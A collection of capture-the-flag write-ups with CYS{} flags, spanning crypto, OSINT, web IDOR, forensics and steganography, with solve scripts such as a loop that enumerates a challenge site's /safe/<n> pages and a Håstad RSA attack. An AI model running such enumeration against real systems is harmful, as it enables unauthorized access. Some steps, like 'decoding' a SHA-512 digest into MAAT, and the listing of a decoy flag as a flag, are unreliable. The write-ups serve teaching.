        print("Error: challenge.json not found in the same directory.")
        return
    except json.JSONDecodeError:
        print("Error: Could not decode challenge.json.")
        return

    p = data["p"]
    a = data["a"]
    b = data["b"]
    xs_hex = data["xs_hex"]
    flag_bits_len = data["flag_bits_len"]

    # The p % 8 check is no longer relevant
    # if p % 8 != 5:
    #     print(f"Warning: Prime p % 8 is not 5 (it's {p % 8}).")
    #     print("The mod_sqrt function may not be optimal, but let's proceed.")

    print(f"Loaded curve parameters and {len(xs_hex)} x-coordinates.")

    bit_string = ""

    for i, x_hex in enumerate(xs_hex):
        x = int(x_hex, 16)

        # Calculate y^2 = x^3 + ax + b (mod p)
        # We use pow(x, 3, p) for (x^3 % p)
        x3 = pow(x, 3, p)
        ax = (a * x) % p

        # Ensure intermediate results stay positive
        y_squared = (x3 + ax + b) % p
        if y_squared < 0:
            y_squared += p

        # --- MODIFIED LOGIC ---
        # The error "No modular square root" indicates that y^2 is not
        # always a quadratic residue. This implies the flag bit is
        # encoded in the *existence* of a root, not its value.
        # We check this using the Legendre symbol.

        # legendre = pow(y_squared, (p - 1) // 2, p)
        #
        # legendre == 1  => y^2 is a quadratic residue (y exists, y != 0)
        # legendre == p - 1 => y^2 is a quadratic non-residue (y does not exist)
        # legendre == 0  => y^2 is 0 (y = 0)

        legendre_symbol = pow(y_squared, (p - 1) // 2, p)

        # Hypothesis: Bit is 1 if it's a residue, 0 otherwise.
        # We treat the y=0 case (legendre_symbol == 0) as bit 0,
        # as the LSB of y=0 would be 0.
        if legendre_symbol == 1:
            bit_string += "1"
        else:
            # This covers non-residues (p-1) and the y=0 case (0)
            bit_string += "0"

        # --- END MODIFIED LOGIC ---

    print(f"Successfully generated {len(bit_string)} bits.")

    if len(bit_string) != flag_bits_len:
        print(f"Error: Expected {flag_bits_len} bits, but got {len(bit_string)}.")
        return

    # Convert the full bit string into bytes
    try:
        flag_bytes = bytearray()
        for i in range(0, flag_bits_len, 8):
            byte_str = bit_string[i:i+8]
            byte_val = int(byte_str, 2)
            flag_bytes.append(byte_val)

        # Decode the bytes as an ASCII string
        flag = flag_bytes.decode('ascii')
        print("\n--- FLAG ---")
        print(flag)
        print("--------------")

    except UnicodeDecodeError:
        print("\nError: Could not decode the resulting bytes into ASCII.")
        print(f"Raw bytes: {flag_bytes.hex()}")
    except Exception as e:
        print(f"\nAn error occurred during flag decoding: {e}")

if __name__ == "__main__":
    solve_challenge()


The above is working code that you can easily get through prompt engineering

Flag

1
CYS{c00k1eS_ar3_m34nt_t0_b3_br0k3n}

Flag

CYS{c00k1eS_ar3_m34nt_t0_b3_br0k3n}

Auditor's Diary

Auditor’s Diary

  • Category: OSINT/TEXT
  • Author: S S Kishore Kumar

Challenge Description

You given the Auditor’s Log: MDE-12.1993 from the Auditor’s diary .

There is famous foreign historical figure hidden in the file.

Identify him and the CEO of the company named after him is gives you the flag.

Flag format : CYS{} (all in lower-case , with no spaces).

Solution

Initial Analysis

Read the log and find its about Pablo Escobar , The company Escobar Inc. and its founder Olof K Gustafsson

Tools Used

  • Wikipedia
  • Textfile

Step-by-Step Solution

Step 1: [Read the audit-diary.md]

The log in it is based on Pablo Escobar.

Step 2: [Find the founder]

The company based of him is Escobar Inc. and its founder is Olof K Gustafsson

Flag

1
CYS{olofkgustafsson}

Flag

CYS{olofkgustafsson}

Reconfiguration Terminal

Reconfiguration Terminal

Category: Web Exploitation Author: Yashwant Gokul P

Challenge Description:

  • The site is minimal but the hint “Numbers are truth…” suggests a numeric resource pattern; a quick, low-noise check of robots.txt confirmed a disallowed numeric path and pointed toward a /safe/<id> namespace. Manual requests to a few /safe/<n> pages returned single characters inside the HTML (200 for valid indices, 404 at the end), which indicates an information-disclosure/enumeration weakness — essentially a CTF-style IDOR/predictable resource issue. The logical next step is to automate sequential requests to /safe/1, /safe/2, …, parse each response for the character, and concatenate them to reconstruct the CYS{...} flag

Solution:

Initial Analysis:

  • The site is minimal but the hint “Numbers are truth…” suggests a numeric resource pattern; a quick, low-noise check of robots.txt confirmed a disallowed numeric path and pointed toward a /safe/<id> namespace. Manual requests to a few /safe/<n> pages returned single characters inside the HTML (200 for valid indices, 404 at the end), which indicates an information-disclosure/enumeration weakness — essentially a CTF-style IDOR/predictable resource issue. The logical next step is to automate sequential requests to /safe/1, /safe/2, …, parse each response for the character, and concatenate them to reconstruct the CYS{...} flag.

Tools Used:

  • Python3

Step-by-Step Solution:

  1. You are given with a url https://reconfiguration-terminal.netlify.app/

    image.png

  2. The site looks minimal, and it even displays the line “Numbers are truth, and truth always leaks through the cracks,” hinting at a possible IDOR weakness and suggesting there could be hidden clues in the page source, cookies, or other client-side artifacts. A good next step is to check the site’s robots.txt (e.g., https://example.com/robots.txt). That file, located at a site’s root, tells crawlers which paths to index or avoid—so it’s often a quick way to discover hidden or disallowed endpoints that might reveal useful information.

    image.png

  3. We found something interesting in robots.txt: Disallow: /safe/420. That suggests the site might expose a hidden page and could indicate an IDOR (Insecure Direct Object Reference) issue. Let’s probe /safe/1 to see whether the site is vulnerable.Our intuition paid off: changing the page ID (for example to 2 and 3) returned Y and S, which matches the expected flag pattern. We don’t yet know the flag’s length, so manually visiting pages would be slow and error-prone. Instead, we’ll automate the process with a simple Python script that requests /safe/<n>, extracts the character from each page, and builds the flag for us.

    image.png

  4. Our intuition paid off: changing the page ID (for example to 2 and 3) returned Y and S, which matches the expected flag pattern. We don’t yet know the flag’s length, so manually visiting pages would be slow and error-prone. Instead, we’ll automate the process with a simple Python script that requests /safe/<n>, extracts the character from each page, and builds the flag for us.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    
     import requests
     from bs4 import BeautifulSoup
        
     BASE = "https://reconfiguration-terminal.netlify.app/safe/{}"
     flag = ""
     i = 1
        
     while True:
         url = BASE.format(i)
         r = requests.get(url)
        
         if r.status_code == 404:
             print("404 reached. Stopping.")
             break
         elif r.status_code == 200:
             # parse the HTML and get only the text inside <p>
             soup = BeautifulSoup(r.text, "html.parser")
             p = soup.find("p")
             if p:
                 char = p.text.strip()
                 flag += char
                 print(f"Page {i} found. Flag so far: {flag}")
             else:
                 print(f"Page {i} found but no <p> tag!")
        
         i += 1
        
     print("\nFinal Flag:", flag)
        
    

    chatgpt chat history : https://chatgpt.com/share/68f10e84-a100-8003-b373-216bc62c34b0

  5. If we run this code on our system, it will automatically fetch all the pages and reveal the flag.

    image.png

Flag:

CYS{7h3_h0ur6l455_5h4773r3d_bu7_m3m0ry_r3m41n5_1n_fr46m3n75_pl3453_l1573n_cl053r_65537_2025}

Flag

CYS{7h3_h0ur6l455_5h4773r3d_bu7_m3m0ry_r3m41n5_1n_fr46m3n75_pl3453_l1573n_cl053r_65537_2025}

Paradox Parable

This is a Easy Forensics challenge based on data carving an appended archive from a PNG file.

The challenge includes a decoy flag and a misleading handbook:

Decoy Flag: Running strings Paradox_Parable_Image.png reveals the false flag: CYS{early_belief}. The player must use binwalk to scan the file’s binary structure for embedded signatures

Command: binwalk -e Paradox_Parable_Image.png will give a extracted file with the true flag : CYS{binwalk_reveals_truth}

Flag

CYS{early_belief}

Temporal Mergepoint

Author: riya mishra

Challenge Description Access control in a futuristic research portal fails. Users can view logs via /portal?user_id=. Can you find the secret flag by manipulating parameters?

Solution Initial Analysis Visited / and saw hints about the portal endpoint. Tried accessing my user ID first.

Tools Used Web Browser (Chrome/Edge)

Burp Suite (optional)

Python Flask server

Step-by-Step Solution Step 1: Check my own logs text Visited: http://127.0.0.1:5000/portal?user_id=10 Result: {“user”:”player”,”log”:”Access denied: unauthorized”} Access was denied for default user.

Step 2: Test other IDs text Changed to: http://127.0.0.1:5000/portal?user_id=9 Result: {“user”:”admin”,”log”:”CYS{temporal_merge_success}”} Found that the server returned the flag for user ID 9.

Flag text CYS{temporal_merge_success}

Flag

CYS{temporal_merge_success}

Maelle Confrontation

Maelle Confrontation

  • Category: [OSINT]
  • Author: [ace6002]
  • Level: [Medium]

Challenge Description

Multi flag OSINT based on social media/tracking down a certain user.

Question to be given

1
Beneath whispers of the forgotten web, one name drifts between the cracks: 1skim. Seek not the obvious, but what lingers behind the veil of public traces. Threads lead where shadows meet data. The flag is no secret—only unseen. Follow the noise, and let open eyes find the hidden truth.

Solution

Tools Used

  • [Instagram, bsky.app, Discord]

Step 1: Take given username in question (1skim_) and find the instagram account with the same username.

Step 2: There are 2 posts. Each post leads to a different flag.

Path 1: Post 1 states man, i sure love bisky kruger from HxH. definitely one of the best teachers out there. shes for sure my number 2. The hint lies with bisky it translates to bsky i.e. bsky.app. A twitter alternative, much lesser known. Search for username 2skim on bsky.app, the player will find the flag 1, in base64.

Path 2: Post 2 states goat. did you know laid loved Clyde more than anything? that's my number 3 though, god knows how it's his top. The hint lies with Clyde. Sent a request to the discord username 3skim_. In the About Me lies a clue, ANIME LOVAR. NO QUESTIONIG. It really has some Soul in it you know, unlike Hollywood. the clue here is AnimeSoul, the largest public anime server on Discord. The status of 3skim_ reads just chillin', another clue. Join AnimeSoul, head into #chill-chat, and search for messages by 3skim_. There is only one message, with the flag in base64.

Flag 1

1
CYS{l0v3_Y0uu}

Flag 2

1
CYS{d3nyy}

Flag

CYS{d3nyy}

Auditor Encounter

  • Category: Web / ARG
  • Author: Oviya

Challenge Description

An animated in-page “Auditor” asks a single question: “Do you regret what you created?”
This is a static web challenge (HTML + CSS + JS). The player replies via a small dialogue input. If the player responds with yes, the Auditor prints the flag; no yields a cryptic denial. The flag is obfuscated (base64) inside the client-side script.

Solution

Initial Analysis

I opened the challenge in the browser and inspected the page source. Since the site is static, I looked for client-side JavaScript (either inline or linked as static/script.js). The flag was not directly visible in the HTML, so I checked the JavaScript file for any encoded strings or decode logic.

Tools Used

  • Browser Developer Tools (View Source / DevTools)
  • Text editor (VSCode)
  • Command line base64 utilities or Python for decoding

Step-by-Step Solution

Step 1: Open the page and view source / linked script

In the browser: Right click → View Page Source Or open linked file directly: open static/script.js # or use your editor to open the file Explanation: The page is static. The script reference (static/script.js) contains the dialogue logic and probably hides the flag in an encoded form.

Step 2: Locate the base64-encoded flag string in the JavaScript

Search for common patterns in the JS file grep -n “FLAG_B64” static/script.js or open the file and look for base64-like strings (long strings with letters/numbers/+ / =) Explanation: The script held a variable named FLAG_B64 with a base64 string. This indicates the flag is client-side but obfuscated.

Step 3: Decode the base64 string to obtain the flag

Example using Linux base64 tool (replace the string with the one found) echo ‘Q1lTfGF1ZGl0X3JlZ3JldC5wYXNzfQ==’ | base64 –decode

OR using Python: python3 -c “import base64; print(base64.b64decode(‘Q1lTfGF1ZGl0X3JlZ3JldC5wYXNzfQ==’).decode())”

OR in browser console (if the site exposes it): atob(‘Q1lTfGF1ZGl0X3JlZ3JldC5wYXNzfQ==’)

Explanation: Decoding the base64 string reveals the flag in plain text. Any of the above methods will produce the same result.

Flag

CYS{aud1t_regr3t_pass}

Flag

CYS{aud1t_regr3t_pass}

Citadel Entry Lock

Key 1 — SEAL

Observation

  • The puzzle presents a 16×16 symbol grid → hint: hex (16 values: 0x00xF).
  • One edge (first row / first column) contains a set of unique symbols which map to the 16 hex digits.
  • Some symbols are visually distinct (black-haired vs white-haired). The black-haired symbol positions encode the meaningful bytes.

Method

  1. Map each unique symbol in the first row (or first column) to the hex digits 0x00xF.
  2. For the black-haired symbol occurrences, read the mapped hex bytes in sequence.
  3. Convert the resulting hex byte sequence to ASCII.

Extracted data

1
53 45 41 4C 𓀅 𓀃 𓀄 𓀅 𓀄 𓀁 𓀄 𓀌

Interpreting the ASCII bytes 53 45 41 4C"SEAL".

Result (Key 1): SEAL


Key 2 — RAID (Håstad / low-exponent broadcast attack)

Problem summary

  • You are given three RSA public keys with a small, identical public exponent e = 3 and three ciphertexts c1, c2, c3.
  • The same plaintext m was encrypted under each modulus n1, n2, n3.
  • This is the classic setting for Håstad’s Broadcast Attack: when the same message is encrypted with small e and pairwise-coprime moduli, use CRT and extract the integer e-th root.

Mathematical setup

We have:

[ m^3 \equiv c_1 \pmod{n_1},\qquad m^3 \equiv c_2 \pmod{n_2},\qquad m^3 \equiv c_3 \pmod{n_3}. ]

If the moduli are pairwise coprime and (m^3 < n_1 n_2 n_3), then the CRT combined value (X) equals the integer (m^3). Recover (m) by taking the integer cube root.

Given values

indexmodulus (n_i)ciphertext (c_i)
120000000000003120045155700768461749
23000000000000722749457632
3400000000000092800451557007722749457632
e3(public exponent)

Solution steps (summary)

  1. Use the Chinese Remainder Theorem (CRT) to compute X such that X ≡ c_i (mod n_i) for all i. This produces a unique X modulo N_total = n1*n2*n3.
  2. If m^3 < N_total, X equals m^3 as an integer.
  3. Compute the integer cube root of X to recover m.
  4. Convert m (integer) to a big-endian hex string and then to ASCII to read the plaintext.

Python reference (concise, reproducible)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# Requires: sympy, gmpy2
from sympy.ntheory.modular import crt
from gmpy2 import iroot

# Provided moduli and ciphertexts
n = [
    20000000000003,      # n1
    30000000000007,      # n2
    40000000000009       # n3
]

c = [
    120045155700768461749,          # c1
    22749457632,                    # c2
    2800451557007722749457632       # c3
]

e = 3

# 1) CRT -> resultant = m^3
resultant, modulus = crt(n, c)
print("CRT result (m^3):", resultant)

# 2) integer cube root
m_int, is_perfect = iroot(resultant, e)
if not is_perfect:
    raise ValueError("CRT result is not a perfect cube; attack failed.")
print("Recovered integer m:", m_int)

# 3) convert to ASCII
hex_val = hex(int(m_int))[2:]
if len(hex_val) % 2:
    hex_val = "0" + hex_val
plaintext = bytes.fromhex(hex_val).decode('ascii')
print("Plaintext:", plaintext)

Intermediate / expected values

  • CRT result m^3 (as computed): 262800451557007722749457632
  • Integer cube root m: 1380010308
  • Hex of m (big-endian): 0x52414944 → ASCII: "RAID"

Result (Key 2): RAID


Key 3 — CROSS

Observation

  • A word search / letter grid with very few actual English words.
  • The visible words (the only real words in the grid) are "THE", "ANSWER", "IS", "CROSS".

Method

  • Either brute-force search the grid for words or visually scan it.
  • The sequence of real words forms the phrase: “THE ANSWER IS CROSS”.

Result (Key 3): CROSS


Key 4 — MAAT

Overview

The ciphertext is a layered transformation pipeline. Working backwards through the layers yields a SHA-512 digest which, when interpreted/decoded, produces the key.

Pipeline (as given / reversed)

  1. SKIP CIPHER (size = 17) → produces a tokenized string
  2. TWIN HEX transformation
  3. KENNY LANG (South Park / simple substitution style encoding)
  4. TWIN HEX
  5. SHA512
  6. ASCII decode → final key

Notable intermediate

  • SKIP CIPHER(SIZE=17): ``` 1KU55X5KZ5HJ5AX5AL1H75MZ5A85YR5T75HB1AZ5KP5TP5JR5AB1HZ5KB5HK5OR1AW5WX5HZ1HR5KR5TP5W85TZ5AR1AR5HX5TB1AR5T85H85HB1TZ5MZ59Q5T85W85TU5TP5TR5HR5T85HR5KR1AB19R5AJ1XB1SB1AR5TR5WR5HZ1HR5585H81K855Z5K85AZ5AR5T81K85T85HB18R5AJ5W75TR5T71XP19Z5M85HB58R5TP5A85A81Y85YK15Q5H85WR1KR5575AK1AP5TX5T85KZ5HA5KZ5KR5OR5HB5MX5W85HK5AR5HZ5XX5W85A75AS5AP5TX5HK5KZ1T75WR5HB1AZ5KZ10R5W85TZ58P5T85HZ1HZ5WZ5H81KK5HJ1AR5AB1AB1HK5KR1H85KR5HB5HR1TX5WP5W85KR5MR5KZ5A81WB5WX5TR5KB1K85K85571A85881T81H85W85HR5K85TZ5WR5WJ1T75NJ11X1WX1HB5KX5885JB5ZZ1T75TR5AR5175KR5HR5AR5K85YZ5TP5NZ1H75AR1W85TP58P5LX5X75T85HZ
1
2
- TWIN HEX:

1bh5zh58w5xw58w5zk5rh1ba5rk58t5xt1u85rh1kj5rh5pt58t5rk5za1bh5zh58t57558t5za5zh1kn5rh5xt58w5pz1bh5zh58w5pt5zk5zh5ra1bk5rk5zh5pt1rh5rh1bh5za5rh5xt5rk5781bh58w58t5751rh5rk1bh5rk1pt58t5za58t1ja5rk58t5xt5ra5za58w1kj5rh5px1jk5za1ja5rk58w5xw58m5xy1bh5za1pw58w5zk58t1ja5rk58w5755za5791bh58w58t5791ly5ra1a158t5pt1q01kn5rh5755za5ra5rh1ja5zk5zk57858t5751ja5zk5ra5pt58w5q11bk5rk5ra57858m5xx1bk58m1sl18w5zh1ba5rh5ra5xx18t58w1bh5ra5ra5pt5za5xs1ko5zk5px18t58w1bh5ra5zh5791u85rh1ko5ra5xt5zh5py1ba5rh5ra5xt58t5rk5rk1bk58t58m5pt5rk5ra58t1bh58w58t5xt1wm58w1kh58t5755rh5xy1ba5zh5rh57858w5zk5rk

1
2
- KENNY LANG SOUTHPARK:

1mpmfpp4fpppmm1fmpfmp18pmm53mmm1fmmppf1mpmfmf1fmpfpm57mmp1fpm71mpmfpm1pppmmf1pmppmm17mmm1mpfmmp1mpf41mfpfmf17mmp1mmp71fmpffm4fmpfmp1mfpffp53mmm54ppf4fmpfpp4ffp61mpf74fpppfm4fmpfpf1pff51mfpfmf55fmf19fmm17857mmf1pfmfmm4fppppf4fmf14fppmfm1fpm91pmpmff4ffp51pff850ppm1fmmmfp50mfp1mmfmfm1pfp058ppm50mfp1mmfpmf58pmm58mfp1pmm61fmmmfp1fmmpmp1pfmffm1mpmffm1mfpfmp19ffp51fmf1mmp61fpmmmf4fpppmp

1
2
- TWIN HEX: 

1dw4wj1tt18j53a1so1du1tv57b1v71dv1nc1kj17a1fb1f41hu17b1b71ty4tt1hz53a54o4tw4z61f74wp4tx1r51hu55u19s17857c1ps4wo4u14wg1v91ki4z51r850m1sh50h1cg1q058m50h1cl58j58h1j61sh1sk1py1dy1ht19z51u1b61vc4wk

1
- The final SHA-512 digest in the chain is:

2db38a0cdf882b8cf7932c685306373042071c8fa147dfe8a4c233b9a57a42eb1004f870b8a9b09552c17dcf81ca2078ffca25fcfa4b8184762f4117d21b98b4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
**Conclusion**

- After reversing the transformations and decoding the SHA-512 result, the plaintext key obtained is: `MAAT`.

**Result (Key 4):** `MAAT`

---

# Key 5 — MAZE

**Observation**

- Several 8×8-like grids produce SHA-256 digests when unspiralled.
- Each grid, when read with the specified outward, left-start, clockwise spiral algorithm, yields an 8×32 (256-bit) SHA256 word fragment.
- The puzzle lists grouped hexadecimal 32-byte SHA256 outputs and associates them to English words.

**Interpretation**
- Spiral Pattern

1)20d21a67·ac24d157·0b679998·b4344d9a·83a3b8f3·1b42e0a5·40544695·1c439f90 2)f826b683·37334d8e·7e46f925·e8670e23·030c2178·3ba7b299·c7c724fc·d1a761ff 3)e1900ba2·7ab930f6·017e98af·bc903491·2edbb7c2·9b864a02·bec73e01·bf1f0eac 4)808bb15f·07488f45·f05fa88c·0d1d34d6·868bc51c·382a6d05·a305622c·c1ad27d3 5)416f57f6·65ff5633·517705da·91651f6e·4cfafdac·d8ba9431·51281d5f·d9cdfbe9 6)11eab27f·623d15ec·099e0f14·be6edf14·7c69d59b·8e7c49da·bd5d9f26·9ad8f2c8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
- The extracted SHA256 hashes correspond to the phrase:
  - `The:`  `b344d80e24a3679999fa964450b34bc24d1578a35509f934c1418b0a20d21a67`
  - `key:`  `2c70e12b7a0646f92279f427c7b38e7334d8e5389cff167a1dc30e73f826b683`
  - `you:`  `bb0347a468d97e98a9c00e37cebec1ab930f6f1221cae0f1fbb92b07e1900ba2`
  - `seek:` `cbd345d6a2815fa88d1022650386d07488f45c6c5c3d72da1ca380f0808bb15f`
  - `is:`   `fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6`
  - `MAZE:` `d9edf594c7669e0f119d2f9d5dece923d15ec44ba68c2f8da9b87b0611eab27f`

- Combined phrase: **"The key you seek is MAZE."**

**Result (Key 5):** `MAZE`

---

# Key 6 — HODOS

**Observation**

- A long block of transformed text using a route cipher.
- The transformation parameters: horizontal width = **4**; encoding uses a route reading pattern described as:
  - *Write horizontally from top-left, then read vertical lines from bottom-left* (i.e. a specific route/permutation).

**Method**

- Implement or use an online route-cipher tool with the given width and read order. Decoding the route cipher recovers a plaintext passage where the key word is clearly visible.

**Result (Key 6):** `HODOS`


## Decryption script (route cipher — width = 4)

```python
import math
# Ciphertext should be set to the encoded string (use raw string: r"...")
ciphertext = ""  # <-- paste ciphertext here
width = 4

# Compute number of rows (each row was written left→right)
rows = math.ceil(len(ciphertext) / width)
cols = width

# Determine how many characters go in each column (left to right)
remainder = len(ciphertext) % width
col_lengths = [rows if i < remainder else rows - 1 for i in range(width)] if remainder else [rows] * width

# Split ciphertext into columns as read bottom→top, left→right
columns = []
idx = 0
for c_len in col_lengths:
    col = ciphertext[idx:idx + c_len]
    columns.append(col[::-1])  # reverse each column (because read bottom→top)
    idx += c_len

# Reconstruct plaintext by reading horizontally (left→right, top→bottom)
plaintext = ''
for r in range(rows):
    for c in range(cols):
        if r < len(columns[c]):
            plaintext += columns[c][r]

# Replace ⌴ with space (if used in your ciphertext)
plaintext = plaintext.replace('⌴', ' ')

print(plaintext)

Final assembly

After recovering each key, assemble them in the instructed order to form the final flag.

  • KEY 1: SEAL
  • KEY 2: RAID
  • KEY 3: CROSS
  • KEY 4: MAAT
  • KEY 5: MAZE
  • KEY 6: HODOS

FINAL FLAG:

1
CYS{SEAL_RAID_CROSS_MAAT_MAZE_HODOS}

Flag

CYS{SEAL_RAID_CROSS_MAAT_MAZE_HODOS}

Choir Echoes

Choir Echoes

  • Category: [Forensics]
  • Author: [ace6002]
  • Level: [Medium]

Challenge Description

Audio Forensics.

Question to be given

1
You could not live with your own failures. Where did that bring you? Back to the beginning. Wear your spectacles better, perhaps you'll succeed this time.

Solution

Tools Used

  • [Audacity]
  • [Hexedit]

Step 1: Hexedit given .wav file, correct the headers from KaFX to RIFF and WAWW to WAVE.

Step 2: Read the file using audacity spectrography to find the key. But this is not the flag, its simply the key of a Vigenere Cipher.

Step 3: The tail of the file excellente!.wav contains the encoded text TCE{1rrp1ml0} .

Step 4: Decode Vigenere using key remy obtained from spectral view to get flag CYS{1tal1an0}.

Flag 1

1
CYS{1tal1an0}

Flag

CYS{1tal1an0}

Reflection Logs

Reflection Logs

  • Category: Forensics
  • Author: Rithvik

Challenge Description

A fragment of Lyra’s message is buried under multiple layers of compression and presented as a hexdump (tryme.hex, xxd format, ASCII column included). Players must reverse the hexdump, identify the gzip layer, decompress it to reveal a bzip2 file, and then decompress that to recover a text file encoded twice in Base64. Decoding it twice reveals the final flag.

Solution

Initial Analysis

The provided file is a plain-text hexdump generated by xxd, which includes both hexadecimal bytes and an ASCII column. This indicates the original content is binary data encoded as text. The job is to reverse the hexdump to its binary form and peel back compression layers until the Base64 text is reached.

Tools Used

  • xxd (to reverse the hexdump)
  • file (to inspect file types via magic bytes)
  • gunzip / gzip -d (to decompress gzip archives)
  • bunzip2 (to decompress bzip2 archives)
  • base64 (to decode the encoded text)

Step-by-Step Solution

Step 1: Reconstruct the binary from the hexdump

1
2
xxd -r tryme.hex > stage0.bin
file stage0.bin

What this does: xxd -r converts the textual hexdump back into the original binary file. Running file on the result reveals the binary’s type by checking magic bytes.

Expected output:

1
stage0.bin: gzip compressed data, from Unix, last modified: ...

Step 2: Decompress the gzip layer

1
2
3
4
5
6
7
# Option A — rename then gunzip (safe and explicit)
mv stage0.bin stage0.gz
gunzip stage0.gz
# This produces 'stage0' (or the original filename stored inside the archive)

# Option B — decompress without renaming
gzip -dc stage0.bin > stage1.bz2

What this does: The gzip layer contains a .bz2 file. After decompression you should have the bzip2 file (e.g., stage1.bz2).

Verification:

1
2
file stage1.bz2
# Expected: stage1.bz2: bzip2 compressed data, ...

Step 3: Decompress the bzip2 file to get the Base64 text

1
2
3
4
bunzip2 stage1.bz2
# Produces an ASCII text file (e.g., 'stage1.txt')
file stage1.txt
head -n 5 stage1.txt

What this does: bunzip2 extracts the text file that contains the Base64-encoded flag (encoded twice).

Step 4: Decode the Base64 text twice

1
2
cat stage1.txt | base64 -d | base64 -d > flag.txt
cat flag.txt

What this does: The text is decoded twice using base64 -d. The final output reveals the hidden flag.

Flag

1
CYS{lyra_was_here}

Flag

CYS{lyra_was_here}

Auditor Encounter

  • Category: Web / ARG
  • Author: Oviya

Challenge Description

In this challenge, you encounter The Auditor, a mysterious entity that reviews your actions in the fractured timeline.
Through an interactive dialogue, you must respond to his questions about your past interference in the archive.
Each response leads to a different outcome — hidden clues, distinct checksums, and unique session identifiers, all combining to form your final flag.

The true test lies in observation and deduction — the data is never handed over directly, but concealed cleverly in the background.


Solution

Initial Analysis

On opening the webpage, the interface shows The Auditor, who initiates a conversation in a typewriter-style effect.
After a few exchanges, the player is presented with four choices, each representing a possible action from the past.

Inspecting the code reveals a fetch() request silently retrieving a hidden resource (which in this case is disguised or embedded), and a flag format hint inside the script logic.

The flag format is: CYS{audit_recovered__} ---

Tools Used

  • Web Browser (Developer Tools → Network & Sources)
  • Basic JavaScript inspection
  • Notepad / VS Code for viewing HTML source

Step-by-Step Solution

Step 1: Observation and Interaction

When the page loads, The Auditor introduces the scenario and begins questioning your actions.
Once prompted, four choices appear, each corresponding to a distinct decision path.

Step 2: Inspecting the Network or Script

Upon selecting any choice, no flag is directly revealed.
However, by checking the Developer Tools → Sources or Network tab, you can find that the hidden clue is retrieved or encoded within the script itself.
Each path outputs a checksum and sessionID that you must fit into the given flag format.

Step 3: Reconstructing the Flag

Using the format and the given data, you reconstruct your flag as: CYS{audit_recovered__} ---

Path Outcomes and Flags

Each decision leads to a unique audit result with a distinct checksum and session ID.
These combine to form four valid flags depending on the path you choose:

ChoiceDescriptionChecksumSessionIDFinal Flag
Path A“I repaired corrupted echoes — I tried to restore what was lost.”1A3F07XZCYS{audit_recovered_1A3F_07XZ}
Path B“I smashed the capsules — they were unstable and had to be purged.”B2D49KLMCYS{audit_recovered_B2D4_9KLM}
Path C“I reconfigured terminals to read restricted vaults — truth needed access.”C3E7Q4T1CYS{audit_recovered_C3E7_Q4T1}
Path D“I observed only. I let the archive run its course.”D4F9Z0OPCYS{audit_recovered_D4F9_Z0OP}

Explanation of Paths

  • Each path represents a different moral response to the Auditor’s inquiry.
  • The checksum and sessionID act as identifiers for the version of the timeline recovered.
  • These unique flags determine which branch of the overarching story or challenge you progress into next.

Flag Example

If the player selects the first option: CYS{audit_recovered_1A3F_07XZ} —

Flag

CYS{audit_recovered_1A3F_07XZ}

CryptoEZ

CryptoEZ

Category: Cryptography
Author: Abhay Krishna


This challenge explores the basics of image cryptography with basic concepts like EXIF metadata and steganography


Initial Analysis

As the description suggests there is something hidden inside the message it is very common and basic to view the metadata of the Image.


Tools Used

  • Online EXIF data viewer
  • Zsteg

Step-by-Step Solution

Step 1: Check EXIF Metadata

On viewing the metadata of the image we can see a hint saying “Listen to the least significant whispers”. This indicates the use of LSB steganography - a technique for hiding secret data by replacing the least significant bits (LSBs) of a carrier file, like an image, with the bits of the hidden message.

Step 2: Use Steganography Tools

To solve this we can use tools like zsteg which is used for detecting and extracting steganographic data from images.

Step 3: Extract Hidden Data

On running the command: ```shell zsteg flag.png

b1,r,lsb,xy .. text: “<~^#vS\p” b1,g,msb,xy .. file: OpenPGP Secret Key b1,rgb,lsb,xy .. text: “CYS{y0u_kn0w_cryp70}” b4,r,lsb,xy .. text: “vU"#4"$DDDD3#C2 “ b4,g,lsb,xy .. text: “##DEEVfeef” b4,b,lsb,xy .. text: “"3EUUUEEEEfw” b4,rgb,lsb,xy .. text: “`U’rw’rw’qf” b4,bgr,lsb,xy .. text: “Pw’rw’rw&af”


Flag:

  • CYS{y0u_kn0w_cryp70}

Flag

CYS{y0u_kn0w_cryp70}

Lyra's Journal

  • Category: [Forensics]
  • Author: [Nihara Oommen]

Challenge Description

[There are 15 such fragments scattered across files. Each fragment is appended into some of the JPEG files as plain ASCII in the raw bytes in the form CYS{fragment} YYYY-MM-DDTHH:MM:SS. Sorting the found fragments by timestamp reveals the final flag.]

Solution

Initial Analysis

[I inspected the provided files and the generator script. The images looked normal in viewers, so I suspected the fragments were embedded in the raw file bytes (not visible pixels). The pattern CYS{ suggested a simple ASCII string was appended to some JPEG files.]

Tools Used

  • Select-String (PowerShell)
  • sort-object (PowerShell)
  • unzip (to extract the challenge ZIP)
  • PowerShell
  • Python (optional, for automation)

Step-by-Step Solution

Step 1: Extract the files

1
tar -xf journal_pages.zip

Extracts all page_###.jpg into journal_pages/ for inspection.

Step 2: Find the hidden fragments

1
Select-String -Path .\journal_pages\*.jpg -Pattern "CYS{" | ForEach-Object { $_.Line }

This finds lines like:

1
2
3
CYS{T} 2087-09-22T00:12:00
CYS{H} 2087-09-22T00:21:00
...

(Each hit is the fragment plus its timestamp.)

Step 3: Sort fragments by timestamp and assemble the flag

1
2
3
4
5
6
Select-String -Path .\journal_pages\*.jpg -Pattern "CYS{" | ForEach-Object {
    $line = $_.Line
    if ($line -match "CYS\{([^}]+)\}\s*([0-9T:-]+)") {
        [PSCustomObject]@{ Fragment = $matches[1]; Timestamp = [datetime]::ParseExact($matches[2],"yyyy-MM-ddTHH:mm:ss",$null) }
    }
} | Sort-Object Timestamp | ForEach-Object { $_.Fragment } > sorted_fragments.txt

Explanation: after sorting by the ISO timestamps, concatenating the fragments in order reconstructs the inner flag message.

Flag

1
CYS{THE_CLOCKS_WERE_LYING}

Flag

CYS{THE_CLOCKS_WERE_LYING}

Echo-Double Combat

Echo-Double Combat

